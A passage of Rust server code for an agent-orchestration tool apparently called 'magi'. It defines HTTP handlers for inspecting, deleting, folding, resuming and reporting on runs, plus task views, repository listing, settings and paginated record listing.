4502/// Lightweight observation: never replaces the evidence used by controls.
4503async fn run_progress(
4504    State(ui): State<Arc<Ui>>,
4505    Path(id): Path<String>,
4506) -> ApiResult<Json<serde_json::Value>> {
4507    blocking(move || {
4508        let id = resolve_run(&ui.runs, &id)?;
4509        let state = read_run(&ui.runs, &id)?;
4510        let live = state.liveness(crate::daemon::is_working_on(
4511            &ui.home,
4512            &id,
4513            Timestamp::now(),
4514        ));
4515        let waiting = !ui.questions.open_for(&id).is_empty();
4516        Ok(Json(serde_json::json!({
4517            "id": id, "updated_at": state.updated_at, "live": live,
4518            "observed_at": Timestamp::now(),
4519            "progress": crate::run_progress::build(&state, live, waiting),
4520        })))
4521    })
4522    .await
4523}
4524
4525async fn run_detail(
4526    State(ui): State<Arc<Ui>>,
4527    Path(id): Path<String>,
4528) -> ApiResult<Json<RunDetailView>> {
4529    blocking(move || {
4530        let id = resolve_run(&ui.runs, &id)?;
4531        let state = read_run(&ui.runs, &id)?;
4532        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4533        let live = state.liveness(daemon_claims);
4534        crate::queue::record_ids(ui.questions.root(), "json")?;
4535        let waiting = ui
4536            .questions
4537            .list()
4538            .iter()
4539            .any(|q| q.run == id && q.status.open());
4540        let max_attempts = daemon::Opts::default().max_attempts;
4541
4542        let matching_task = ui.find_task_for_run(&id)?;
4543
4544        let superseded_by = state
4545            .pr_taken_over_by
4546            .clone()
4547            .or_else(|| {
4548                matching_task
4549                    .as_ref()
4550                    .and_then(|t| t.successor_of(&id).cloned())
4551            })
4552            .as_deref()
4553            .map(crate::run::short_of)
4554            .map(str::to_owned);
4555
4556        // Best-effort: an unreadable head (mid-write, or deleted) just means
4557        // this run's own status stands on its own, same as no later attempt
4558        // existing at all.
4559        let latest_attempt = matching_task
4560            .as_ref()
4561            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4562            .and_then(|head_id| {
4563                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4564                    short: head.short().to_owned(),
4565                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4566                    status: head.status,
4567                    done: head.status.done(),
4568                    id: head.id,
4569                })
4570            });
4571
4572        let task = matching_task
4573            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4574
4575        Ok(Json(RunDetailView::of(
4576            state,
4577            waiting,
4578            live,
4579            superseded_by,
4580            latest_attempt,
4581            task,
4582        )))
4583    })
4584    .await
4585}
4586
4587/// `DELETE /api/runs/{id}`.
4588///
4589/// Remove a finished, folded run directory along with its artifacts.
4590/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4591/// deleted. This never touches git worktrees or branches - except for a run
4592/// whose state this build cannot read at all, where there is no candidate
4593/// list to check and the wholesale removal `magi fold` already uses for that
4594/// case is the only meaningful "delete".
4595async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4596    let (id, unreadable) = {
4597        let ui = Arc::clone(&ui);
4598        blocking(move || {
4599            let id = resolve_run(&ui.runs, &id)?;
4600            match read_run(&ui.runs, &id) {
4601                Ok(state) => {
4602                    let in_flight =
4603                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4604                    state
4605                        .ensure_can_delete(in_flight)
4606                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4607                    let dir = ui.runs.join(&id);
4608                    std::fs::remove_dir_all(&dir)
4609                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4610                    Ok((id, false))
4611                }
4612                Err(_) => {
4613                    // Unreadable: there is no candidate list to guard on, so
4614                    // a live daemon's claim is the only thing left to check -
4615                    // the same rule `run_fold` applies for the same reason.
4616                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4617                        return Err(ApiError::conflict(format!(
4618                            "run {id} is being worked on by a live daemon right now"
4619                        )));
4620                    }
4621                    Ok((id, true))
4622                }
4623            }
4624        })
4625        .await?
4626    };
4627    if unreadable {
4628        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4629            .await
4630            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4631    }
4632    let ui = Arc::clone(&ui);
4633    let done = id.clone();
4634    blocking(move || {
4635        // The agent that asked died with the run, so an open question would
4636        // keep asking the operator for a decision nobody can deliver.
4637        ui.questions.abandon_for_run(
4638            &done,
4639            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4640        )?;
4641        Ok(())
4642    })
4643    .await?;
4644    Ok(StatusCode::NO_CONTENT)
4645}
4646
4647/// `POST /api/runs/{id}/fold`.
4648///
4649/// Remove a run's candidate worktrees and branches, keeping its record.
4650///
4651/// This exists because the deck answered "delete this run" with *"Candidates
4652/// must be folded before deleting. Run `magi fold` first."* — a phone being
4653/// told to open a terminal, in the one product whose point is that it does
4654/// not need one. The runs an operator most wants gone are the stalled and
4655/// blocked ones, and those are exactly the runs still holding worktrees:
4656/// three of them here held 53 GB.
4657///
4658/// The winner's tree goes too. A fold is what someone asks for when they are
4659/// finished with a run, and leaving one tree behind would leave the delete
4660/// button disabled for the same reason as before.
4661///
4662/// Refused while a live daemon is working on the run, on the rule that guards
4663/// deletion: folding underneath a running agent would pull the tree it is
4664/// editing out from under it.
4665///
4666/// A run whose state this build cannot read at all falls back to
4667/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4668/// selectively, so the whole record's worktree goes wholesale, exactly what
4669/// `magi fold` does on the command line for the same run.
4670async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4671    let (id, state) = {
4672        let ui = Arc::clone(&ui);
4673        blocking(move || {
4674            let id = resolve_run(&ui.runs, &id)?;
4675            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4676                return Err(ApiError::conflict(format!(
4677                    "run {id} is being worked on by a live daemon right now"
4678                )));
4679            }
4680            let state = read_run(&ui.runs, &id).ok();
4681            Ok((id, state))
4682        })
4683        .await?
4684    };
4685    let removed = match state {
4686        Some(mut state) => {
4687            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4688                .await
4689                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4690            // Nothing left to remove is not the same thing as nothing left to
4691            // do — see `clean::clear_abandoned_active`'s own doc for the run
4692            // this exists for: worktrees already gone, but a killed process
4693            // left active seats nobody will ever answer for.
4694            if removed.is_empty() {
4695                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4696                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4697            }
4698            removed
4699        }
4700        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4701            .await
4702            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4703    };
4704    Ok(Json(FoldView {
4705        run: id,
4706        removed_count: removed.len(),
4707        removed,
4708    }))
4709}
4710
4711/// What a fold took away, so the deck can say so rather than only re-render.
4712#[derive(Debug, Serialize)]
4713struct FoldView {
4714    run: String,
4715    /// Worktree paths and branch names removed, in the order they went.
4716    removed: Vec<String>,
4717    removed_count: usize,
4718}
4719
4720/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4721/// merged outside of `land::land`'s own loop.
4722#[derive(Debug, Deserialize)]
4723struct FoldMergedBody {
4724    #[serde(default)]
4725    pr_url: String,
4726}
4727
4728/// `POST /api/runs/{id}/fold-merged`.
4729///
4730/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4731/// `Blocked` with `merge: null` because magi never got as far as opening a
4732/// pull request of its own (a title over GitHub's length limit, `gh pr
4733/// create` unreachable, a stale token), which the operator then finished by
4734/// hand on a pull request magi never recorded. The "Run actions" sheet used
4735/// to have no way to tell it about that pull request short of a terminal and
4736/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4737/// this exists and what it deliberately does not do (`bump::after_merge`).
4738///
4739/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4740/// correction rewrites the same `status`/`merge` fields a running graph would
4741/// be writing to on its own.
4742///
4743/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4744/// calls plus a fold, seconds of work, and the phone should get its answer
4745/// (which pull request it recorded, and what changed) in the same round
4746/// trip rather than learning it from the change stream.
4747async fn run_fold_merged(
4748    State(ui): State<Arc<Ui>>,
4749    Path(id): Path<String>,
4750    Json(body): Json<FoldMergedBody>,
4751) -> ApiResult<Json<FoldMergedView>> {
4752    let pr_url = body.pr_url.trim().to_owned();
4753    if pr_url.is_empty() {
4754        return Err(ApiError::bad_request("pr_url is required"));
4755    }
4756    let (id, mut state) = {
4757        let ui = Arc::clone(&ui);
4758        blocking(move || {
4759            let id = resolve_run(&ui.runs, &id)?;
4760            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4761                return Err(ApiError::conflict(format!(
4762                    "run {id} is being worked on by a live daemon right now"
4763                )));
4764            }
4765            let state = read_run(&ui.runs, &id)?;
4766            Ok((id, state))
4767        })
4768        .await?
4769    };
4770    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4771        .await
4772        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4773    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4774        .await
4775        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4776    Ok(Json(FoldMergedView {
4777        run: id,
4778        before: before.as_str().to_owned(),
4779        after: after.as_str().to_owned(),
4780        removed,
4781    }))
4782}
4783
4784/// What [`run_fold_merged`] did, so the deck can say so.
4785#[derive(Debug, Serialize)]
4786struct FoldMergedView {
4787    run: String,
4788    /// `status` before the correction — normally `"blocked"`.
4789    before: String,
4790    /// `status` after — normally `"merged"`.
4791    after: String,
4792    /// Worktree paths and branch names the trailing fold removed.
4793    removed: Vec<String>,
4794}
4795
4796/// `POST /api/runs/{id}/resume`.
4797///
4798/// Carry a stalled run on from where it stopped, in the background.
4799///
4800/// A stalled card says "the work is kept" and used to offer no way to act on
4801/// that: the candidates are built and paid for, and continuing means re-asking
4802/// only the seats whose absence collapsed the panel. The alternative an
4803/// operator actually had was releasing the task, which competes three fresh
4804/// implementations against work that already exists.
4805///
4806/// **202, not 200.** A resume runs agents for minutes; holding the connection
4807/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4808/// phone learns the outcome from the change stream.
4809///
4810/// Refused when the loop is running at all, not merely when it is on this run.
4811/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4812/// started a second graph on top of whatever the loop is already driving —
4813/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4814/// allows — would spend that quota twice over for no extra throughput.
4815async fn run_resume(
4816    State(ui): State<Arc<Ui>>,
4817    Path(id): Path<String>,
4818) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4819    let admission = ui.begin_admission()?;
4820    admitted(admission, async move {
4821        let (id, state) = {
4822            let ui = Arc::clone(&ui);
4823            blocking(move || {
4824                let id = resolve_run(&ui.runs, &id)?;
4825                let state = read_run(&ui.runs, &id)?;
4826                Ok((id, state))
4827            })
4828            .await?
4829        };
4830        crate::resume::validate_unqueued(&ui.home, &id)
4831            .map_err(|e| ApiError::conflict(e.to_string()))?;
4832        let _resume = ui.begin_resume(&id)?;
4833
4834        crate::resume::start(&ui.home, id.clone())
4835            .await
4836            .map_err(ApiError::from)?;
4837        // The same shape the list route returns, so the phone updates the card it
4838        // already has rather than learning a second schema for one button.
4839        let queued = RunSummary::of(
4840            &state,
4841            !ui.questions.open_for(&id).is_empty(),
4842            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4843        );
4844        Ok((StatusCode::ACCEPTED, Json(queued)))
4845    })
4846    .await
4847}
4848
4849async fn run_report(
4850    State(ui): State<Arc<Ui>>,
4851    Path(id): Path<String>,
4852) -> ApiResult<impl IntoResponse> {
4853    let text = blocking(move || {
4854        let id = resolve_run(&ui.runs, &id)?;
4855        // Colour is off for the whole process, set once in `serve`. Rendering
4856        // is CPU work over the full state, which is the other reason this is
4857        // not on the executor.
4858        let state = read_run(&ui.runs, &id)?;
4859        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4860        let live = state.liveness(daemon_claims);
4861        Ok(format!(
4862            "{}{}",
4863            report::run(&state),
4864            report::active_seats(&state, live)
4865        ))
4866    })
4867    .await?;
4868    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4869}
4870
4871/// The structured twin of [`run_report`]: the same state, as sections the UI
4872/// draws as cards. An unreadable run answers with the same error the text
4873/// route does; it is never turned into an empty report.
4874async fn run_report_json(
4875    State(ui): State<Arc<Ui>>,
4876    Path(id): Path<String>,
4877) -> ApiResult<Json<crate::report_view::RunReportView>> {
4878    let view = blocking(move || {
4879        let id = resolve_run(&ui.runs, &id)?;
4880        let state = read_run(&ui.runs, &id)?;
4881        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4882        // Only a record that lacks the structured details reads `artifacts/`.
4883        let recovered = state.graft.as_ref().map(|_| {
4884            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4885        });
4886        Ok(crate::report_view::build_with(
4887            &state,
4888            state.liveness(daemon_claims),
4889            recovered.as_ref(),
4890        ))
4891    })
4892    .await?;
4893    Ok(Json(view))
4894}
4895
4896/// Archive access uses validated run-owned records, never a request-supplied path.
4897async fn run_seat_evidence(
4898    State(ui): State<Arc<Ui>>,
4899    Path(id): Path<String>,
4900) -> ApiResult<impl IntoResponse> {
4901    let id = resolve_run(&ui.runs, &id)?;
4902    let heads = crate::retention::seat_heads(&ui.home, &id)
4903        .await
4904        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4905    Ok(Json(heads))
4906}
4907
4908async fn run_seat_diff(
4909    State(ui): State<Arc<Ui>>,
4910    Path((id, head)): Path<(String, String)>,
4911) -> ApiResult<impl IntoResponse> {
4912    let id = resolve_run(&ui.runs, &id)?;
4913    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4914        .await
4915        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4916    Ok((
4917        [
4918            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4919            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4920        ],
4921        patch,
4922    ))
4923}
4924
4925/// Most of a graft diff the route returns.
4926const GRAFT_DIFF_MAX: usize = 400 * 1024;
4927/// How long `git diff` may run.
4928const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4929
4930/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4931/// come from the run record, never from the request.
4932async fn run_graft_diff(
4933    State(ui): State<Arc<Ui>>,
4934    Path(id): Path<String>,
4935) -> ApiResult<impl IntoResponse> {
4936    let (repo, pre, post) = blocking(move || {
4937        let id = resolve_run(&ui.runs, &id)?;
4938        let state = read_run(&ui.runs, &id)?;
4939        let g = state
4940            .graft
4941            .as_ref()
4942            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4943        let post = g
4944            .post
4945            .clone()
4946            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4947        Ok((state.repo.clone(), g.pre.clone(), post))
4948    })
4949    .await?;
4950    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4951    if !hex(&pre) || !hex(&post) {
4952        return Err(ApiError::not_found("the recorded commits are not valid"));
4953    }
4954    let out = tokio::time::timeout(
4955        GRAFT_DIFF_TIMEOUT,
4956        crate::git::git_raw(
4957            &repo,
4958            &[
4959                "diff",
4960                "--no-color",
4961                "--no-ext-diff",
4962                "-M",
4963                &pre,
4964                &post,
4965                "--",
4966            ],
4967        ),
4968    )
4969    .await
4970    .map_err(|_| ApiError::not_found("git diff timed out"))?
4971    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4972    if out.code != Some(0) {
4973        return Err(ApiError::not_found(
4974            "the recorded commits are no longer in the repository",
4975        ));
4976    }
4977    let mut body = out.stdout;
4978    if body.len() > GRAFT_DIFF_MAX {
4979        let mut cut = GRAFT_DIFF_MAX;
4980        while !body.is_char_boundary(cut) {
4981            cut -= 1;
4982        }
4983        body.truncate(cut);
4984        body.push_str("\n... diff truncated ...");
4985    }
4986    Ok((
4987        [
4988            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4989            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4990        ],
4991        body,
4992    ))
4993}
4994
4995/// A task as the UI sees it.
4996///
4997/// The whole task, plus the two things the client would otherwise have to
4998/// reimplement: the human-readable source and the status string. Nothing is
4999/// removed - the phone shows `last_error` and the run history verbatim.
5000#[derive(Debug, Serialize)]
5001struct TaskView {
5002    #[serde(flatten)]
5003    task: Task,
5004    source_label: String,
5005    reassignment_notes: Vec<String>,
5006    source_link: Option<SourceLink>,
5007    status_str: &'static str,
5008    /// The instruction, parsed as markdown, for the Queue card's "Full
5009    /// instruction" panel. `task.instruction` is unchanged and still carries
5010    /// the raw text.
5011    instruction_md: Vec<md::Node>,
5012    /// For a blocked task, what it waits on with each dependency's state, e.g.
5013    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5014    /// recurses; empty for every other status.
5015    waits_on: Vec<String>,
5016    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5017    /// behind - non-empty means nothing in the loop will ever run it.
5018    stuck_roots: Vec<String>,
5019    blockers: Vec<crate::blockers::BlockerView>,
5020    recovery: Option<String>,
5021}
5022
5023impl From<Task> for TaskView {
5024    fn from(task: Task) -> Self {
5025        Self {
5026            source_label: task.source.label(),
5027            reassignment_notes: Vec::new(),
5028            source_link: source_link(&task.source),
5029            status_str: task.status.as_str(),
5030            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5031            waits_on: Vec::new(),
5032            stuck_roots: Vec::new(),
5033            blockers: Vec::new(),
5034            recovery: task_recovery(&task),
5035            task,
5036        }
5037    }
5038}
5039
5040impl TaskView {
5041    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5042        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5043            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5044            if !pending.is_empty() {
5045                self.recovery = Some(format!(
5046                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5047                    self.recovery.as_deref().unwrap_or_default()
5048                ));
5049            }
5050            for decision in pending {
5051                self.blockers.retain(|view| view.id != decision.id);
5052                self.blockers.push(decision);
5053            }
5054        }
5055        self
5056    }
5057
5058    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5059        let waits_on = inv.waits_on(&task);
5060        let stuck_roots = inv
5061            .stuck_roots(&task)
5062            .iter()
5063            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5064            .collect();
5065        Self {
5066            blockers: inv.blocker_views(&task),
5067            waits_on,
5068            stuck_roots,
5069            ..Self::from(task)
5070        }
5071    }
5072}
5073
5074fn task_recovery(task: &Task) -> Option<String> {
5075    use crate::queue::{HoldSource, TaskStatus};
5076    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5077        return None;
5078    }
5079    let mut text = String::new();
5080    if task.status == TaskStatus::Blocked {
5081        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5082        let restored = match task.blocked_from {
5083            Some(TaskStatus::Running) => TaskStatus::Queued,
5084            Some(status) => status,
5085            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5086            None => TaskStatus::Queued,
5087        };
5088        text.push_str(&format!(
5089            "After all dependencies resolve, the scheduler restores {}. ",
5090            restored.as_str()
5091        ));
5092        if restored != TaskStatus::Held {
5093            return Some(text);
5094        }
5095    }
5096    text.push_str(match task.hold_source {
5097        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5098        Some(HoldSource::Machine) if task.hold_reason.as_deref().is_some_and(crate::disk::is_gate_reason) =>
5099            "Machine disk hold: free disk space or restore measurement. Recorded disk figures describe the hold time, not current capacity. If no recovery decision is pending, triage rechecks the disk gate and can automatically queue after recovery is verified. Pending decisions must be resolved or applied first; disk admission checks still apply.",
5100        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5101        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5102    });
5103    Some(text)
5104}
5105
5106/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5107/// its absence, leaves the cache to decide.
5108#[derive(Debug, Default, Deserialize)]
5109#[serde(default)]
5110struct ReposQuery {
5111    refresh: u8,
5112}
5113
5114/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5115/// listing `magi repos` prints at a terminal.
5116///
5117/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5118/// so an edit to `magi.toml` takes effect without a restart, the same
5119/// reasoning [`config_for`] documents for the talk routes.
5120async fn repos_list(
5121    State(ui): State<Arc<Ui>>,
5122    Query(q): Query<ReposQuery>,
5123) -> ApiResult<Json<Vec<repos::Repo>>> {
5124    let refresh = q.refresh != 0;
5125    blocking(move || {
5126        let (cfg, _) = Config::discover(&ui.repo, None)?;
5127        Ok(Json(ui.repos_cache.list(
5128            &cfg.repos.roots,
5129            Duration::from_secs(cfg.repos.scan_ttl),
5130            refresh,
5131        )))
5132    })
5133    .await
5134}
5135
5136/// Optional context, restricted to the server's known checkouts.
5137#[derive(Debug, Default, Deserialize)]
5138struct SettingsQuery {
5139    repo: Option<PathBuf>,
5140}
5141
5142/// Always discover against the server's original context, never the selection.
5143/// If that config is broken, retain the default context and machine-only roots
5144/// so the settings error contract and recovery picker remain available.
5145fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5146    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5147        let paths: Vec<PathBuf> = ui
5148            .machine_config
5149            .iter()
5150            .filter(|p| p.is_file())
5151            .cloned()
5152            .collect();
5153        if paths.is_empty() {
5154            Ok(Config::autodetected())
5155        } else {
5156            Config::load_layers(&paths)
5157        }
5158    });
5159    let mut known = cfg
5160        .map(|cfg| {
5161            ui.repos_cache.list(
5162                &cfg.repos.roots,
5163                Duration::from_secs(cfg.repos.scan_ttl),
5164                refresh,
5165            )
5166        })
5167        .unwrap_or_default();
5168    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5169    if !known.iter().any(|r| r.path == path) {
5170        known.push(repos::Repo {
5171            name: path
5172                .file_name()
5173                .unwrap_or_default()
5174                .to_string_lossy()
5175                .into_owned(),
5176            path,
5177        });
5178    }
5179    known
5180}
5181
5182fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5183    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5184    let canonical = requested.canonicalize().ok();
5185    let mut known = settings_repositories(ui, false);
5186    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5187    if !known.iter().any(matches) {
5188        known = settings_repositories(ui, true);
5189    }
5190    let repo = known
5191        .iter()
5192        .find(|r| matches(r))
5193        .map(|r| r.path.clone())
5194        .ok_or_else(|| ApiError {
5195            text_reason: None,
5196            status: StatusCode::UNPROCESSABLE_ENTITY,
5197            message: "Choose a known repository from the Settings selector.".to_owned(),
5198        })?;
5199    Ok((repo, known))
5200}
5201
5202/// `GET /api/settings` - the effective role assignments and roster, with the
5203/// layer each came from. A config that fails to load answers 200 with an
5204/// `error`, so the screen can say so instead of drawing empty lists.
5205async fn settings_get(
5206    State(ui): State<Arc<Ui>>,
5207    Query(q): Query<SettingsQuery>,
5208) -> ApiResult<Json<settings::SettingsView>> {
5209    blocking(move || {
5210        let (repo, known) = settings_context(&ui, q)?;
5211        Ok(Json(settings::view_with_repos(
5212            &repo,
5213            ui.machine_config.as_deref(),
5214            &known,
5215        )))
5216    })
5217    .await
5218}
5219
5220/// The body of `PUT /api/settings/roles`.
5221#[derive(Debug, Deserialize)]
5222#[serde(deny_unknown_fields)]
5223struct RolesBody {
5224    /// The `revision` the client last read.
5225    revision: String,
5226    /// Role key to its new ids; an empty list resets the key to its default.
5227    #[serde(default)]
5228    roles: std::collections::BTreeMap<String, Vec<String>>,
5229    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5230    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5231    /// words (422) instead of as a deserialization error.
5232    #[serde(default)]
5233    counts: std::collections::BTreeMap<String, serde_json::Value>,
5234}
5235
5236/// `PUT /api/settings/roles` - save role assignments to the machine config.
5237///
5238/// The write target is `ui.machine_config` and nothing in the body can change
5239/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5240/// 422 with the reason in words.
5241async fn settings_put_roles(
5242    State(ui): State<Arc<Ui>>,
5243    Query(q): Query<SettingsQuery>,
5244    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5245) -> ApiResult<Json<settings::SettingsView>> {
5246    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5247    blocking(move || {
5248        let (repo, known) = settings_context(&ui, q)?;
5249        settings::save_with_repos(
5250            &repo,
5251            ui.machine_config.as_deref(),
5252            &body.revision,
5253            &body.roles,
5254            &body.counts,
5255            &known,
5256        )
5257        .map(Json)
5258        .map_err(|e| match e {
5259            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5260            settings::SaveError::Refused(m) => ApiError {
5261                text_reason: None,
5262                status: StatusCode::UNPROCESSABLE_ENTITY,
5263                message: m,
5264            },
5265            settings::SaveError::Internal(m) => ApiError::internal(m),
5266        })
5267    })
5268    .await
5269}
5270
5271async fn queue_list(
5272    State(ui): State<Arc<Ui>>,
5273    Query(q): Query<ListQuery>,
5274) -> ApiResult<Json<Vec<TaskView>>> {
5275    blocking(move || {
5276        let tasks = ui.queue.list();
5277        let inv =
5278            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5279        Ok(Json(
5280            tasks
5281                .into_iter()
5282                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5283                .map(|t| TaskView::with_inventory(t, &inv))
5284                .collect(),
5285        ))
5286    })
5287    .await
5288}
5289
5290/// History pages read a bounded number of records; the first conversation
5291/// page also includes every open talk. Cursors advance through a frozen snapshot,
5292/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5293/// Concurrent inserts are reconciled by a trailing store refresh.
5294#[derive(Debug, Default, Deserialize)]
5295struct PageQuery {
5296    before: Option<String>,
5297}
5298
5299#[derive(Serialize)]
5300struct StorePage<T> {
5301    rows: Vec<T>,
5302    next: Option<String>,
5303}
5304
5305const STORE_PAGE_SIZE: usize = 16;
5306
5307/// Freeze membership and the initial open/history boundary for a cursor walk.
5308/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5309/// the next store revision. Never rescan the entire directory for every page.
5310#[derive(Debug)]
5311struct ListWalk {
5312    token: u64,
5313    talks: bool,
5314    opened: std::time::Instant,
5315    ids: Arc<Vec<String>>,
5316    initial_end: usize,
5317}
5318
5319fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5320    page_ids_with(ui, talks, q, open_talk_ids)
5321}
5322
5323fn page_ids_with(
5324    ui: &Ui,
5325    talks: bool,
5326    q: PageQuery,
5327    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5328) -> ApiResult<(Vec<String>, Option<String>)> {
5329    let mut walks = ui
5330        .monitor
5331        .list_walks
5332        .lock()
5333        .unwrap_or_else(PoisonError::into_inner);
5334    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5335    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5336        let (token, offset) = cursor
5337            .split_once(':')
5338            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5339        let token = token
5340            .parse::<u64>()
5341            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5342        let offset = offset
5343            .parse::<usize>()
5344            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5345        let walk = walks
5346            .iter()
5347            .find(|walk| walk.token == token && walk.talks == talks)
5348            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5349        (token, walk.ids.clone(), offset, walk.initial_end)
5350    } else {
5351        // Header I/O must not hold the snapshot registry shared with queue
5352        // pagination or with clients continuing an existing history walk.
5353        drop(walks);
5354        let root = if talks {
5355            ui.talks.root()
5356        } else {
5357            ui.queue.root()
5358        };
5359        let mut ids = crate::queue::record_ids(root, "json")?;
5360        ids.sort_unstable_by(|a, b| b.cmp(a));
5361        let initial_end = if talks {
5362            let open = classify(ui, &ids);
5363            // Stable partition: ID order is only the existing membership order,
5364            // never a substitute for the UI's creation-time ordering.
5365            ids.sort_by_key(|id| !open.contains(id));
5366            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5367        } else {
5368            STORE_PAGE_SIZE.min(ids.len())
5369        };
5370        let ids = Arc::new(ids);
5371        walks = ui
5372            .monitor
5373            .list_walks
5374            .lock()
5375            .unwrap_or_else(PoisonError::into_inner);
5376        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5377        let mut token = crate::rng::entropy();
5378        while walks.iter().any(|walk| walk.token == token) {
5379            token = crate::rng::entropy();
5380        }
5381        // Four clients can enumerate both stores and overlap a refresh. Bound
